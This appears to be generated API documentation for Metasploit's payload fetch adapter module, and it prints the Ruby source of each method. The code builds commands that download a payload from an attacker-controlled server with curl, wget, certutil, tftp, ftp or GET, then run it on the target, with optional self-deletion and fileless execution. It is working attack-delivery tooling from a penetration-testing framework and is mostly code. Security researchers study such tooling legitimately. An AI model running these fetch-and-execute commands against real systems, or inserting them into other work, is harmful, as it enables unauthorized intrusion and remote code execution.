Module: Msf::Payload::Adapter::Fetch

Includes:
Fileless, Pipe
Included in:
FTP, HTTP, Https, SMB, TFTP
Defined in:
lib/msf/core/payload/adapter/fetch.rb

Overview

Mixin providing fetch-based payload delivery over configurable transports.

Defined Under Namespace

Modules: FTP, Fileless, HTTP, Https, LinuxOptions, Pipe, SMB, TFTP, WindowsOptions

Instance Method Summary collapse

Methods included from Pipe

#_download_pipe, #_generate_curl_pipe, #_generate_get_pipe, #_generate_wget_pipe, #generate_pipe_command, #pipe_supported_binaries

Methods included from Fileless

#_generate_fileless_bash_search, #_generate_fileless_python, #_generate_fileless_shell, #_generate_first_stage_shellcode, #_generate_jmp_instruction

Instance Method Details

#_check_tftp_filevoid

This method returns an undefined value.

Validates that the TFTP client can save the fetched file using the requested destination semantics.



299
300
301
302
303
304
305
# File 'lib/msf/core/payload/adapter/fetch.rb', line 299

def _check_tftp_file
  # Older Linux tftp clients do not support saving the file under a different name
  unless datastore['FETCH_WRITABLE_DIR'].blank? && datastore['FETCH_FILENAME'].blank?
    print_error('The Linux TFTP client does not support saving a file under a different name than the URI.')
    fail_with(Msf::Module::Failure::BadConfig, 'FETCH_WRITABLE_DIR and FETCH_FILENAME must be blank when using the tftp client')
  end
end

#_check_tftp_portvoid

This method returns an undefined value.

Validates that the TFTP listener is configured to use a reachable port for clients that only support port 69.



287
288
289
290
291
292
293
# File 'lib/msf/core/payload/adapter/fetch.rb', line 287

def _check_tftp_port
  # Most tftp clients do not have configurable ports
  if datastore['FETCH_SRVPORT'] != 69 && datastore['FetchListenerBindPort'].blank?
    print_error('The TFTP client can only connect to port 69; to start the server on a different port use FetchListenerBindPort and redirect the connection.')
    fail_with(Msf::Module::Failure::BadConfig, 'FETCH_SRVPORT must be set to 69 when using the tftp client')
  end
end

#_determine_server_comm(ip, srv_comm = datastore['ListenerComm'].to_s) ⇒ Rex::Socket::Comm

Parameters:

  • ip (String, nil)

    The listener IP address used to infer the best communication channel.

  • srv_comm (String) (defaults to: datastore['ListenerComm'].to_s)

    The requested listener communication channel.

Returns:

  • (Rex::Socket::Comm)

    The resolved communication object.

Raises:

  • (RuntimeError)

    If an explicitly requested session comm is invalid.



313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
# File 'lib/msf/core/payload/adapter/fetch.rb', line 313

def _determine_server_comm(ip, srv_comm = datastore['ListenerComm'].to_s)
  comm = nil

  case srv_comm
  when 'local'
    comm = ::Rex::Socket::Comm::Local
  when /\A-?[0-9]+\Z/
    comm = framework.sessions.get(srv_comm.to_i)
    raise("Socket Server Comm (Session #{srv_comm}) does not exist") unless comm
    raise("Socket Server Comm (Session #{srv_comm}) does not implement Rex::Socket::Comm") unless comm.is_a? ::Rex::Socket::Comm
  when nil, ''
    unless ip.nil?
      comm = Rex::Socket::SwitchBoard.best_comm(ip)
    end
  else
    raise("SocketServer Comm '#{srv_comm}' is invalid")
  end

  comm || ::Rex::Socket::Comm::Local
end

#_execute_add(get_file_cmd) ⇒ String

Appends the platform-specific execution sequence to a fetch command.

Parameters:

  • get_file_cmd (String)

    The command that retrieves the payload.

Returns:

  • (String)

    The command updated to execute the payload after download.



338
339
340
341
342
# File 'lib/msf/core/payload/adapter/fetch.rb', line 338

def _execute_add(get_file_cmd)
  return _execute_win(get_file_cmd) if windows?

  _execute_nix(get_file_cmd)
end

#_execute_nix(get_file_cmd) ⇒ String

Appends POSIX execution and optional cleanup behavior to the supplied fetch command, including fileless execution modes when configured.

Parameters:

  • get_file_cmd (String)

    The command that retrieves the payload.

Returns:

  • (String)

    The command updated for POSIX execution.



360
361
362
363
364
365
366
367
368
369
370
# File 'lib/msf/core/payload/adapter/fetch.rb', line 360

def _execute_nix(get_file_cmd)
  return _generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell'
  return _generate_fileless_bash_search(get_file_cmd) if datastore['FETCH_FILELESS'] == 'shell-search'
  return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+'

  cmds = get_file_cmd
  cmds << ";chmod +x #{_remote_destination_nix}"
  cmds << ";#{_remote_destination_nix}&"
  cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']
  cmds
end

#_execute_win(get_file_cmd) ⇒ String

Appends Windows execution and optional cleanup behavior to the supplied fetch command.

Parameters:

  • get_file_cmd (String)

    The command that retrieves the payload.

Returns:

  • (String)

    The command updated for Windows execution.



349
350
351
352
353
# File 'lib/msf/core/payload/adapter/fetch.rb', line 349

def _execute_win(get_file_cmd)
  cmds = " & start /B #{_remote_destination_win}"
  cmds << " & del #{_remote_destination_win}" if datastore['FETCH_DELETE']
  get_file_cmd << cmds
end

#_generate_certutil_command(uri) ⇒ String

Builds a certutil-based command line for fetching the payload on Windows.

Returns:

  • (String)

    The certutil fetch-and-execute command.



375
376
377
378
379
380
381
382
383
384
385
386
387
# File 'lib/msf/core/payload/adapter/fetch.rb', line 375

def _generate_certutil_command(uri)
  case fetch_protocol
  when 'HTTP'
    get_file_cmd = "certutil -urlcache -f http://#{download_uri(uri)} #{_remote_destination}"
  when 'HTTPS'
    # I don't think there is a way to disable cert check in certutil....
    print_error('CERTUTIL binary does not support insecure mode')
    fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using CERTUTIL')
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
  _execute_add(get_file_cmd)
end

#_generate_curl_command(uri, dynamic_arch) ⇒ String

Builds a curl-based command line for fetching the payload.

Returns:

  • (String)

    The curl fetch-and-execute command.



392
393
394
395
396
397
398
399
400
401
402
403
404
405
# File 'lib/msf/core/payload/adapter/fetch.rb', line 392

def _generate_curl_command(uri, dynamic_arch)
  case fetch_protocol
  when 'HTTP'
    get_file_cmd = "curl -so #{_remote_destination} http://#{download_uri(uri)}"
  when 'HTTPS'
    get_file_cmd = "curl -sko #{_remote_destination} https://#{download_uri(uri)}"
  when 'TFTP'
    get_file_cmd = "curl -so #{_remote_destination} tftp://#{download_uri(uri)}"
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
  get_file_cmd << '?arch=$(uname -m)\&endian=$(printf %d \\\'$(head -c6 /bin/sh|tail -c1))' if dynamic_arch
  _execute_add(get_file_cmd)
end

#_generate_ftp_command(uri) ⇒ String

Builds an ftp command line for fetching the payload.

Returns:

  • (String)

    The ftp fetch-and-execute command.



433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
# File 'lib/msf/core/payload/adapter/fetch.rb', line 433

def _generate_ftp_command(uri)
  case fetch_protocol
    # Windows ftp.exe does not support URL-style downloads. Use -A for
    # anonymous login and pipe binary/get/quit via stdin, mirroring the
    # (echo ...) | tftp pattern used on Linux.
  when 'FTP'
    if windows?
      # Windows ftp.exe does not accept a port argument — it always connects
      # to port 21. Strip the port from the command; FETCH_SRVPORT must be 21.
      unless srvport == 21
        fail_with(Msf::Module::Failure::BadConfig,
                  'Windows ftp.exe only connects to port 21. Set FETCH_SRVPORT=21.')
      end
      ftp_cmds = "(echo binary& echo get #{uri} #{_remote_destination_win}& echo quit)| ftp -A -n -i #{srvhost}"
      return _execute_win(ftp_cmds)
    end
    get_file_cmd = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri(uri)}"
  when 'HTTP'
    get_file_cmd = "ftp -Vo #{_remote_destination_nix} http://#{download_uri(uri)}"
  when 'HTTPS'
    get_file_cmd = "ftp -Vo #{_remote_destination_nix} https://#{download_uri(uri)}"
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
  _execute_add(get_file_cmd)
end

#_generate_get_command(uri) ⇒ String

Builds a GET-based command line for fetching the payload.

Returns:

  • (String)

    The GET fetch-and-execute command.



410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
# File 'lib/msf/core/payload/adapter/fetch.rb', line 410

def _generate_get_command(uri)
  # Specifying the method (-m GET) is necessary on OSX
  case fetch_protocol
  when 'HTTP'
    get_file_cmd = "GET -m GET http://#{download_uri(uri)}>#{_remote_destination}"
  when 'HTTPS'
    unless datastore['FETCH_CHECK_CERT']
      # There is no way to disable cert check in GET ...
      print_error('GET binary does not support insecure mode')
      fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using GET')
    end
    get_file_cmd = "GET -m GET https://#{download_uri(uri)} | tee #{_remote_destination}"
  when 'FTP'
    get_file_cmd = "GET ftp://#{download_uri(uri)} | tee #{_remote_destination}"
  else
    fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
  end
  _execute_add(get_file_cmd)
end

#_generate_tftp_command(uri) ⇒ String

Builds a tftp command line for fetching the payload, including Linux fileless handling when supported.

Parameters:

  • uri (String)

    The URI path of the payload on the fetch server.

Returns:

  • (String)

    The tftp fetch-and-execute command.



465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
# File 'lib/msf/core/payload/adapter/fetch.rb', line 465

def _generate_tftp_command(uri)
  _check_tftp_port
  case fetch_protocol
  when 'TFTP'
    if windows?
      fetch_command = _execute_win("tftp -i #{srvhost} GET #{uri} #{_remote_destination}")
    else
      _check_tftp_file
      if datastore['FETCH_FILELESS'] != 'none' && linux?
        get_file_cmd = "(echo binary ; echo get #{uri} $f ) | tftp #{srvhost}"
        return _generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell'
        return _generate_fileless_bash_search(get_file_cmd) if datastore['FETCH_FILELESS'] == 'shell-search'
        return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+'
      else
        fetch_command = "(echo binary ; echo get #{uri} ) | tftp #{srvhost}; chmod +x ./#{uri}; ./#{uri} &"
      end
    end
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
  fetch_command
end

#_generate_tnftp_command(uri) ⇒ String

Builds a tnftp command line for fetching the payload.

Parameters:

  • uri (String)

    The URI path of the payload on the fetch server.

Returns:

  • (String)

    The tnftp fetch-and-execute command.



492
493
494
495
496
497
498
499
500
501
502
503
504
505
# File 'lib/msf/core/payload/adapter/fetch.rb', line 492

def _generate_tnftp_command(uri)
  case fetch_protocol
  when 'FTP'
    get_file_cmd = "tnftp -Vo #{_remote_destination_nix} ftp://#{download_uri(uri)}"
  when 'HTTP'
    get_file_cmd = "tnftp -Vo #{_remote_destination_nix} http://#{download_uri(uri)}"
  when 'HTTPS'
    get_file_cmd = datastore['FETCH_CHECK_CERT'] ? '' : 'FTPSSLNOVERIFY=1 '
    get_file_cmd << "tnftp -Vo #{_remote_destination_nix} https://#{download_uri(uri)}"
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
  _execute_add(get_file_cmd)
end

#_generate_wget_command(uri, dynamic_arch) ⇒ String

Builds a wget-based command line for fetching the payload.

Returns:

  • (String)

    The wget fetch-and-execute command.



510
511
512
513
514
515
516
517
518
519
520
521
# File 'lib/msf/core/payload/adapter/fetch.rb', line 510

def _generate_wget_command(uri, dynamic_arch)
  case fetch_protocol
  when 'HTTPS'
    get_file_cmd = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri(uri)}"
  when 'HTTP'
    get_file_cmd = "wget -qO #{_remote_destination} http://#{download_uri(uri)}"
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
  get_file_cmd << '?arch=$(uname -m)\&endian=$(printf %d \\\'$(head -c6 /bin/sh|tail -c1))' if dynamic_arch
  _execute_add(get_file_cmd)
end

#_remote_destinationString

Returns the platform-appropriate destination path used by download commands.

Returns:

  • (String)

    The payload destination path.



527
528
529
530
531
# File 'lib/msf/core/payload/adapter/fetch.rb', line 527

def _remote_destination
  return _remote_destination_win if windows?

  _remote_destination_nix
end

#_remote_destination_nixString

Returns or memoizes the remote payload destination for POSIX targets.

Returns:

  • (String)

    The POSIX destination path or fileless placeholder.



536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
# File 'lib/msf/core/payload/adapter/fetch.rb', line 536

def _remote_destination_nix
  return @remote_destination_nix unless @remote_destination_nix.nil?

  if datastore['FETCH_FILELESS'] != 'none'
    @remote_destination_nix = '$f'
  else
    writable_dir = datastore['FETCH_WRITABLE_DIR']
    writable_dir = '.' if writable_dir.blank?
    writable_dir += '/' unless writable_dir[-1] == '/'
    payload_filename = datastore['FETCH_FILENAME']
    payload_filename = srvuri if payload_filename.blank?
    payload_path = writable_dir + payload_filename
    @remote_destination_nix = payload_path
  end
  @remote_destination_nix
end

#_remote_destination_winString

Returns or memoizes the remote payload destination for Windows targets.

Returns:

  • (String)

    The Windows destination path.



556
557
558
559
560
561
562
563
564
565
566
567
# File 'lib/msf/core/payload/adapter/fetch.rb', line 556

def _remote_destination_win
  return @remote_destination_win unless @remote_destination_win.nil?

  writable_dir = datastore['FETCH_WRITABLE_DIR']
  writable_dir += '\\' unless writable_dir.blank? || writable_dir[-1] == '\\'
  payload_filename = datastore['FETCH_FILENAME']
  payload_filename = srvuri if payload_filename.blank?
  payload_path = writable_dir + payload_filename
  payload_path += '.exe' unless payload_path[-4..] == '.exe'
  @remote_destination_win = payload_path
  @remote_destination_win
end

#add_srv_entry(uri, data, opts) ⇒ Object



98
99
100
# File 'lib/msf/core/payload/adapter/fetch.rb', line 98

def add_srv_entry(uri, data, opts)
  @srv_resources << { opts: opts, uri: uri, data: data }
end

#default_srvuri(extra_data = nil) ⇒ String

If no fetch URL is provided, we generate one based off the underlying payload data. This is because if we use a randomly-generated URI, the URI generated by venom and Framework will not match. This way, we can build a payload in venom and a listener in Framework, and if the underlying payload type/host/port are the same, the URI will be, too.

Parameters:

  • extra_data (String, nil) (defaults to: nil)

    Additional data to incorporate into the generated URI hash.

Returns:

  • (String)

    A stable URI-safe identifier for the served payload.



47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# File 'lib/msf/core/payload/adapter/fetch.rb', line 47

def default_srvuri(extra_data = nil)
  # If we're in framework, payload is in datastore; msfvenom has it in refname
  payload_name = datastore['payload'] ||= refname
  decoded_uri = payload_name.dup
  # there may be no transport, so leave the connection string off if that's the case
  netloc = ''
  if module_info['ConnectionType'].upcase == 'REVERSE' || module_info['ConnectionType'].upcase == 'TUNNEL'
    netloc << datastore['LHOST'] unless datastore['LHOST'].blank?
    unless datastore['LPORT'].blank?
      if Rex::Socket.is_ipv6?(netloc)
        netloc = "[#{netloc}]:#{datastore['LPORT']}"
      else
        netloc = "#{netloc}:#{datastore['LPORT']}"
      end
    end
  elsif module_info['ConnectionType'].upcase == 'BIND'
    netloc << datastore['LHOST'] unless datastore['LHOST'].blank?
    unless datastore['RPORT'].blank?
      if Rex::Socket.is_ipv6?(netloc)
        netloc = "[#{netloc}]:#{datastore['RPORT']}"
      else
        netloc = "#{netloc}:#{datastore['RPORT']}"
      end
    end
  end
  decoded_uri << ";#{netloc}"
  decoded_uri << ";#{extra_data}" unless extra_data.nil?
  Base64.urlsafe_encode64(OpenSSL::Digest::MD5.new(decoded_uri).digest, padding: false)
end

#download_uri(uri) ⇒ String

Returns the payload download URI served by the fetch listener.

Returns:

  • (String)

    The URI path and authority for the generated payload.



80
81
82
# File 'lib/msf/core/payload/adapter/fetch.rb', line 80

def download_uri(uri)
  "#{srvnetloc}/#{uri}"
end

#fetch_bindhostString

Returns the interface the fetch service should bind to.

Returns:

  • (String)

    The bind address for the local fetch listener.



87
88
89
# File 'lib/msf/core/payload/adapter/fetch.rb', line 87

def fetch_bindhost
  datastore['FetchListenerBindAddress'].blank? ? srvhost : datastore['FetchListenerBindAddress']
end

#fetch_bindnetlocString

Returns the authority string used by the fetch listener socket.

Returns:

  • (String)

    The host:port pair for the fetch listener.



105
106
107
# File 'lib/msf/core/payload/adapter/fetch.rb', line 105

def fetch_bindnetloc
  Rex::Socket.to_authority(fetch_bindhost, fetch_bindport)
end

#fetch_bindportInteger

Returns the TCP port the fetch service should bind to.

Returns:

  • (Integer)

    The bind port for the local fetch listener.



94
95
96
# File 'lib/msf/core/payload/adapter/fetch.rb', line 94

def fetch_bindport
  datastore['FetchListenerBindPort'].blank? ? srvport : datastore['FetchListenerBindPort']
end

#generate(opts = {}) ⇒ Object

Unlike a normal payload, #generate here does not return raw payload bytes —it returns the fetch-and-execute shell command (curl/wget/etc.) to run on the target, staging the actual served payload binary as a side effect via #add_srv_entry. Because of that, prepend stubs (PrependFork, PrependSetuid, etc.) can’t be applied at the #generate_complete layer the way other payload types do — that would run apply_prepends over the shell command string instead of the binary, corrupting it. Instead, apply_prepends is called at the two points below where the served payload’s raw bytes actually get assembled, before they’re handed to generate_payload_exe/add_srv_entry. See #generate_complete.



119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
# File 'lib/msf/core/payload/adapter/fetch.rb', line 119

def generate(opts = {})
  if opts[:dynamic_arch].nil?
    @srv_resources = []
    opts[:arch] ||= module_info['AdaptedArch']
    if opts[:arch] == ARCH_ANY && module_info['AdaptedPlatform'] == 'linux'
      multi_supported_fileless = ['none', 'python3.8+']
      multi_supported_cmd = ['WGET', 'CURL']
      fail_with(Msf::Module::Failure::BadConfig, 'Selected option for FETCH_FILELESS is not supported on multi arch Meterpreter.') unless multi_supported_fileless.include?(datastore['FETCH_FILELESS'])
      fail_with(Msf::Module::Failure::BadConfig, 'Selected option for FETCH_COMMAND is not supported on multi arch Meterpreter.') unless multi_supported_cmd.include?(datastore['FETCH_COMMAND'])
      opts[:dynamic_arch] = true
      # placeholder — binary is generated on demand at request time once arch is known
      add_srv_entry(srvuri, 'x', opts)
    else
      opts[:dynamic_arch] = false
      opts[:code] = apply_prepends(super(opts))
      add_srv_entry(srvuri, generate_payload_exe(opts), opts)
    end

    cmd = generate_fetch_commands(uri: srvuri, dynamic_arch: opts[:dynamic_arch])
    if datastore['FETCH_PIPE']
      unless pipe_supported_binaries.include?(datastore['FETCH_COMMAND'].upcase)
        fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.")
      end
      cmd << "\n" if windows?
      add_srv_entry(pipe_srvuri, cmd, opts.merge(dynamic_arch: false))
      cmd = generate_pipe_command(pipe_srvuri)
    end
    vprint_status("Command to execute on target: #{cmd}")
    cmd
  else
    apply_prepends(super(opts))
  end
end

#generate_completeObject

Intentionally not the inherited ‘apply_prepends(generate)`: prepends are already baked into the served payload bytes inside #generate, so reapplying apply_prepends here would double them up on the binary (or run them over the returned shell command, which isn’t payload bytes at all).



157
158
159
# File 'lib/msf/core/payload/adapter/fetch.rb', line 157

def generate_complete
  generate
end

#generate_fetch_commands(uri: srvuri, dynamic_arch: false) ⇒ String

Dispatches command generation to the selected FETCH_COMMAND helper.

Returns:

  • (String)

    The generated fetch-and-execute command.



164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
# File 'lib/msf/core/payload/adapter/fetch.rb', line 164

def generate_fetch_commands(uri: srvuri, dynamic_arch: false)
  case datastore['FETCH_COMMAND'].upcase
  when 'FTP'
    return _generate_ftp_command(uri)
  when 'TNFTP'
    return _generate_tnftp_command(uri)
  when 'WGET'
    return _generate_wget_command(uri, dynamic_arch)
  when 'CURL'
    return _generate_curl_command(uri, dynamic_arch)
  when 'TFTP'
    return _generate_tftp_command(uri)
  when 'CERTUTIL'
    return _generate_certutil_command(uri)
  when 'GET'
    return _generate_get_command(uri)
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
end

#generate_payload_uuid(conf = {}) ⇒ PayloadUUID

Generates a payload UUID using the adapted platform and architecture by default.

Parameters:

  • conf (Hash) (defaults to: {})

    UUID generation options.

Returns:

  • (PayloadUUID)

    The generated payload UUID.



201
202
203
204
205
# File 'lib/msf/core/payload/adapter/fetch.rb', line 201

def generate_payload_uuid(conf = {})
  conf[:arch] ||= module_info['AdaptedArch']
  conf[:platform] ||= module_info['AdaptedPlatform']
  super
end

#generate_stage(opts = {}) ⇒ String

Generates the stage using the adapted architecture when one is not explicitly provided.

Parameters:

  • opts (Hash) (defaults to: {})

    Stage generation options.

Returns:

  • (String)

    The generated stage contents.



190
191
192
193
194
# File 'lib/msf/core/payload/adapter/fetch.rb', line 190

def generate_stage(opts = {})
  opts[:arch] ||= module_info['AdaptedArch']
  opts[:arch] = opts[:uuid].arch if opts[:uuid]&.arch
  super
end

#handle_connection(conn, opts = {}) ⇒ Object

Handles a new incoming connection while ensuring the adapted architecture is supplied to the parent implementation.

Parameters:

  • conn (Object)

    The connection object being handled.

  • opts (Hash) (defaults to: {})

    Connection handling options.

Returns:

  • (Object)

    The result from the parent handler.



213
214
215
216
# File 'lib/msf/core/payload/adapter/fetch.rb', line 213

def handle_connection(conn, opts = {})
  opts[:arch] ||= module_info['AdaptedArch']
  super
end

#initialize(*args) ⇒ void

Initializes the fetch adapter state and registers datastore options used to stage and serve the adapted payload.

Parameters:

  • args (Array)

    Arguments forwarded to the parent payload initializer.



11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# File 'lib/msf/core/payload/adapter/fetch.rb', line 11

def initialize(*args)
  super
  register_options(
    [
      Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]),
      Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]),
      # FETCH_SRVHOST defaults to LHOST, but if the payload doesn't connect back to Metasploit (e.g. adduser, messagebox, etc.) then FETCH_SRVHOST needs to be set
      Msf::OptAddressRoutable.new('FETCH_SRVHOST', [ !options['LHOST']&.required, 'Local IP to use for serving payload']),
      Msf::OptString.new('FETCH_URIPATH', [ false, 'Local URI to use for serving payload', '']),
    ]
  )
  register_advanced_options(
    [
      Msf::OptAddress.new('FetchListenerBindAddress', [ false, 'The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST']),
      Msf::OptPort.new('FetchListenerBindPort', [false, 'The port to bind to if different from FETCH_SRVPORT']),
      Msf::OptBool.new('FetchHandlerDisable', [true, 'Disable fetch handler', false])
    ]
  )
  deregister_options('REQUESTED_ARCH')
  @fetch_service = nil
  @myresources = []
  @srv_resources = []
  @remote_destination_win = nil
  @remote_destination_nix = nil
  @windows = nil
end

#linux?Boolean

Indicates whether the adapted payload targets Linux.

Returns:

  • (Boolean)

    True when the first adapted platform is Linux.



276
277
278
279
280
281
# File 'lib/msf/core/payload/adapter/fetch.rb', line 276

def linux?
  return @linux unless @linux.nil?

  @linux = platform.platforms.first == Msf::Module::Platform::Linux
  @linux
end

#pipe_srvuriString

Returns the URI path used when serving commands through FETCH_PIPE.

Returns:

  • (String)

    The pipe command URI path.



257
258
259
260
261
# File 'lib/msf/core/payload/adapter/fetch.rb', line 257

def pipe_srvuri
  return datastore['FETCH_URIPATH'] unless datastore['FETCH_URIPATH'].blank?

  default_srvuri('pipe')
end

#srvhostString

Returns the configured host used to serve the adapted payload.

Returns:

  • (String)

    The payload service host.



221
222
223
224
225
226
# File 'lib/msf/core/payload/adapter/fetch.rb', line 221

def srvhost
  host = datastore['FETCH_SRVHOST']
  host = datastore['LHOST'] if host.blank?
  host = '127.127.127.127' if host.blank?
  host
end

#srvnetlocString

Returns the authority string for the payload fetch service.

Returns:

  • (String)

    The host:port pair used in generated download URLs.



231
232
233
# File 'lib/msf/core/payload/adapter/fetch.rb', line 231

def srvnetloc
  Rex::Socket.to_authority(srvhost, srvport)
end

#srvportInteger

Returns the configured port used to serve the adapted payload.

Returns:

  • (Integer)

    The payload service port.



238
239
240
# File 'lib/msf/core/payload/adapter/fetch.rb', line 238

def srvport
  datastore['FETCH_SRVPORT']
end

#srvuriString

Returns the URI path used to serve the payload or a deterministic default when one has not been explicitly configured.

Returns:

  • (String)

    The payload download URI path.



246
247
248
249
250
251
252
# File 'lib/msf/core/payload/adapter/fetch.rb', line 246

def srvuri
  # When FETCH_PIPE is active the user-defined URI is reserved for the pipe
  # command endpoint; the payload always gets the auto-generated URI.
  return default_srvuri if datastore['FETCH_PIPE'] || datastore['FETCH_URIPATH'].blank?

  datastore['FETCH_URIPATH']
end

#windows?Boolean

Indicates whether the adapted payload targets Windows.

Returns:

  • (Boolean)

    True when the first adapted platform is Windows.



266
267
268
269
270
271
# File 'lib/msf/core/payload/adapter/fetch.rb', line 266

def windows?
  return @windows unless @windows.nil?

  @windows = platform.platforms.first == Msf::Module::Platform::Windows
  @windows
end